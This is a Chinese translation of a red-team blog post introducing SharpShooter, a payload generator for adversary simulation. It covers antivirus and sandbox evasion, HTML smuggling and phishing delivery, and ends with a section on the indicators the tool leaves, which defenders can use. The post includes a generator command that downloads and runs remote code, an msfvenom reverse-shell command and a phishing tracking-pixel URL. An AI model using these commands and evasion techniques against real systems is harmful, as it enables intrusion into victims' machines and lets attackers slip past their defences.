使用SharpShooter生成有效载荷

立足点往往是对手模拟中最复杂和最耗时的方面之一。我们通常会发现,我们的许多努力都花费在针对各种操作系统版本/体系结构以及最常用的EDR(端点检测和响应),防病毒和沙盒解决方案创建和测试有效负载上。这些解决方案中的很多已经变得更加关注和了解PowerShell,因此我们已经从PowerShell中自然而然地转向了研究其他技术,以进入内存和避开端点防御。这导致我们开发了一款名为SharpShooter的内部有效载荷生成框架。在使用这个框架并在一系列参与中取得巨大成功之后,我们选择了发布该工具。

2017年7月,我们讨论了使用James Forshaw的DotNetToJScript以Windows脚本格式执行shellcode并发布了CACTUSTORCH工具。这个工具是概念验证,可以相对较快签名; 我们不推荐在现场模拟中使用它。然而,这个概念相对强大,为我们当前的一些工具提供了种子,我们今天发布了其中一个工具。

SharpShooter是武器化的有效载荷生成框架,具有反沙箱分析,分阶段和无阶段有效载荷执行以及对回避入口监控的支持。SharpShooter提供了一个框架来创建以下Windows格式的有效载荷:

  • HTA
  • JS
  • JSE
  • VBA
  • VBE
  • VBS
  • WSF

创建的有效载荷可用于检索,编译和执行任意C Sharp源代码。SharpShooter有效负载使用随机密钥进行RC4加密,以提供一些适度的防病毒逃避,并且该项目包括集成沙箱检测和环境密钥以帮助逃避检测的能力。SharpShooter面向大多数最终用户Windows工作站上的.NET框架的v2,v3和v4。

除了传统的反病毒软件,SharpShooter已经成功绕过了诸如Palo Alto Traps和Bromium Isolation Analysis(其中策略允许执行)等“高级端点保护”。

SharpShooter绕过Palo Alto Traps发布meterpreter外壳的视频如下所示:

随后的部分提供了该工具各种功能的说明。

分期和无阶段执行

SharpShooter支持分阶段和无阶段有效负载执行。分阶段执行可以发生在HTTP(S),DNS或两者上。当分阶段有效载荷被执行时,它将尝试检索已经压缩的C Sharp源代码文件,然后使用所选择的传输技术进行base64编码。使用.NET CodeDom编译器将C Sharp源代码下载并编译到主机上。随后使用反射从源代码执行所需的方法。下图显示了SharpShooter在分级过程中如何操作的总结:

分级的关键优势在于,它能够在发生故障时更改执行的有效负载,或者在成功隐藏可能妨碍蓝队调查的植入物后取下有效负载。

DNS传递与我们之前的博文中描述的PowerDNS工具一起实现。选择Web传送时,将对通过-web命令行参数提供的URI执行Web请求。

CodeDom提供商是实现可扩展性的强大手段,我们多年来一直将其用于攻击目的,如反病毒躲避。来自@buffaloverflow的推文指出,它最近也被野性恶意行为者采用:

使用CodeDom的好处之一是它提供了创建有效载荷的灵活性; 你不仅仅限于shellcode执行,但你有能力执行任意C Sharp。因此,如果您想要创建执行Mimikatz或执行进程分离的VBS文件,您可以。

SharpShooter提供了一个内置的模板,用于执行任意shellcode用于分阶段和无阶段的有效载荷。

沙盒检测

SharpShooter提供了一些基本的方法来检测有效载荷是否在沙箱内执行。除了域密钥技术外,这些技术都是从Brandon ArvanaghiCheckPlease项目中借用

如果满足所选沙箱检测技术的条件,则负载将不会执行。以下技术可用:

  • 域密钥:有效载荷只能在特定域上执行;
  • 确保域加入:仅当工作站加入域时才会执行有效负载;
  • 检查沙盒工件:有效负载将搜索文件系统中已知沙箱技术和虚拟化系统的工件,如果发现有效负载将不会执行;
  • 检查错误的MAC:负载将检查系统的MAC地址,如果供应商匹配已知的虚拟化软件,它将不会执行;
  • 检查调试:如果负载正在调试,它将不会执行。
    > 这些技术可以相互结合使用以协助避免检测。

要使用其中一种技术创建负载,请使用-sandbox参数,然后使用逗号分隔的技术列表来应用。例如-sandbox 1 = CONTOSO,2,3。

入口监控逃避

防御者常用的策略是防止潜在的恶意文件进入周边的环境。这通常是在周边代理/网关上使用扩展,内容类型或内容过滤来实现的。Rich Warren记录了一个避开这种检查的强大解决方案, 它涉及加密有效负载,然后将其嵌入到HTML文件中。负载在客户端使用JavaScript解密。因此,周界检查只会看到一个带有text / html内容类型的HTML文件。

SharpShooter可选择使用此技术来嵌入其有效载荷并提供2个样本模板以供使用。SharpShooter的实现几乎直接从@ Arno0x0xEmbedInHTML工具中借用。

要创建使用HTML走私的有效内容,请使用带-template参数的-smuggle参数来选择模板,例如-smuggle -template mcafee。

SharpShooter by Example

当我们的ActiveBreach团队进行对手模拟时,我们会大量投入侦察。其原因在于理解目标的环境将带来收益,特别是在有效负载创建方面。为了增加SharpShooter在执行shellcode时获得成功的可能性,两个关键信息是必不可少的; 目标架构和目标.NET版本。幸运的是,找到这些信息通常比较简单。

在执行仿真的目标阶段时,我们通常会尽可能多地披露客户端软件的版本信息,以便在实验室中进行复制。我们实现这一目标的一个策略是通过良性网络钓鱼; 那就是我们的网络钓鱼电子邮件通常不包含任何特定的有效负载,但是设计为触发回拨到我们的基础架构。一种这样的方法是通过外部托管的图像,例如在HTML中包含以下内容钓鱼电子邮件将触发连接,以从用户的邮件客户端下载图像,前提是他们选择了下载远程图像的选项:

<img src=“http://attacker.net/logo.png?uid=1234” />

在Outlook的情况下,这可能会导致将类似于以下内容的用户代理发送到服务器:

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.6366; ms-office; MSOffice 16)

这里披露了几个关键信息,与SharpShooter有效载荷最相关的是,目标是使用64位操作系统和32位Microsoft Office安装,如WOW64字符串所示,以及。 NET CLR安装。

同样,我们也可以尝试社交工程师用户打开我们控制的网站,并从用户的浏览器中获取相同的信息,如下面的示例中所示,使用Widows 8.1 x64主机:

Mozilla/5.0 (Windows NT 6.3; Win64, x64; Touch) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0 (Touch; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPNTDFJS; H9P; InfoPath

如果我们想创建一个执行任意shellcode的有效载荷,这个信息对我们尤其重要。由于mshta.exe是一个32位二进制文件,因此HTA文件除外,所以当64位Windows正在使用时,我们应该始终使用64位shellcode。

在可能的情况下,我们的运营商也将尝试引入尽可能多的有关内部Active Directory的信息,以便在不违反的情况下实现。其中,常见的策略包括审查来自外围服务邮件标题等来源的FQDN披露。

例如,邮件标题可能会披露类似于以下内容的内容:

Received: from EXH004.contoso.com (unknown [10.1.1.1])
by smtp.localdomain (Service) with ESMTP id 43BD1114402;
Tue, 27 Feb 2018 13:38:33 +0000 (GMT)

这意味着内部域名是CONTOSO。

同样,如果我们观察目标以拥有Skype for Business服务器的边界,我们可以从X-MS-Server-Fqdn标头中找到域名,如下所示:

X-MS-Server-Fqdn: S4BLYNC.contoso.com

有了这些知识,我们可以开始制作一个SharpShooter有效载荷,这个有效载荷与我们的目标环境有关; 即除非有效载荷在CONTOSO加入的成员系统上执行,否则不会发生恶意行为。

如果我们想要创建一个JavaScript有效载荷,它将尝试通过DNS和Web传递来检索C Sharp有效载荷,我们可能会使用类似以下命令行选项的东西:

SharpShooter.py --payload js --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 2

该配置将使用-sandbox 1 = contoso参数将我们的有效负载锁定到CONTOSO域。目标环境支持.NET版本> = 3.5,因此我们可以使用-dotnetver 2参数指定正确的.NET版本,从而为我们的负载提供更好的成功机会。

在上面的例子中,shellcode是从“csharpsc.txt”文件中读取的。如果我们想执行符合Cobalt Strike的Beacon或Metasploit的shellcode,可以通过在Cobalt Strike中选择“Packages> Payload Generator> Output C#”或使用以下msfvnom命令来生成该代码:

msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=x.x.x.x LPORT=80 EnableStageEncoding=True PrependMigrate=True -f csharp

shellcode文件应该只包含原始字节,而不是变量定义。例如,byte [] buf = new byte [999] {0x01,0x02,0x03 …意味着shellcode文件只包含0x01,0x02,0x03。

上述命令的结果如下所示:

SharpShooter将在输出目录foo.html,foo.js和foo.payload中创建3个单独的文件。下面提供了每个文件的简要说明:

foo.js是用户最终执行的JavaScript有效载荷。它包含一个base64编码的rc4加密blob,它在内存中解密后执行。解密的有效载荷是包含SharpShooter .NET序列化对象的DotNetToJScript代码。如果您使用的是HTML走私,则该文件不需要发送给用户,纯粹是为了信息和调试目的而提供的。

foo.html是HTML文件,我们将通过任何方式最终强制用户打开。该文件包含foo.js的加密副本,该副本使用JavaScript进行解密,然后使用navigator.mssaveBlob技术提供给用户。

foo.payload是将在目标主机上检索,编译和执行的C Sharp源代码。在这种情况下,该文件包含一个将执行提供的shellcode的线束。源代码文件被压缩,然后base64编码。根据提供的命令行参数,该文件应该位于URI http://www.foo.bar/shellcode.payload和运行PowerDNS的foo.bar域中。

foo.html文件最终是我们通过电子邮件附件发送给最终用户的,或者通过强迫他们打开钓鱼链接。打开时,由于选择了McAfee模板,用户将看到与以下内容类似的内容:

如果用户点击打开JavaScript文件,则应执行shellcode并返回植入物。

下面显示了一个端到端有效负载执行的视频,用于检索Cobalt Strike信标:

发现

作为一名优秀的红人的一部分是理解你的工具和他们的指标。这不仅可以帮助您向蓝队和您的客户提供更好的建议,还可以帮助您构建更好的工具。

在开发SharpShooter时,我们很想了解在主机上创建了哪些指标。让我们最惊讶的是.NET CodeDom提供者的工作方式。在过去成功使用这种技术的过程中,我们正在研究将源代码编译到内存中的前提。这个假设也是我们对该工具的设计选择的关键影响因素,因为我们通常更倾向于在对手模拟期间保持记忆驻留。

当创建一个新的CodeDom提供者时,有必要提供编译参数; 其中之一是Boolean CompilerParameters.GenerateInMemory属性,当然在SharpShooter中设置为true。然而,当我们在监控流程执行过程中发现这一点时,这有点误导我们,并且我们很快意识到我们误解了这个属性的影响。实际情况是,当执行WScript.exe或等效的脚本引擎时,它会执行与.NET框架捆绑在一起的csc.exe编译器:

这意味着C Sharp源代码被保存到用户的Temp文件夹中的磁盘上。编译器然后在命令行上执行,从保存到磁盘的文件中读取参数:

因此,确保源代码对抗病毒签名保持安全至关重要; 这当然是相对微不足道的。

无阶段的shellcode执行不会留下这些指标,因为它不使用CodeDom提供程序; 序列化的.NET对象直接执行shellcode本身。

您应该注意的另一个指标是使用暂存DNS有效负载时。由于.NET <= v4不包含用于执行TXT记录查找的本地DNS库,为了保持不同版本之间的兼容性,通过迭代执行nslookup.exe来读取C Sharp源代码来检索记录:

因此,一个潜在的指示性指标将是通过命令行日志捕获的一系列nslookup.exe调用。

您可以从MDSec ActiveBreach github页面下载SharpShooter


转载请注明出处:https://www.freearoot.com/index.php/%E4%BD%BF%E7%94%A8sharpshooter%E7%94%9F%E6%88%90%E6%9C%89%E6%95%88%E8%BD%BD%E8%8D%B7.html

文章来源:https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/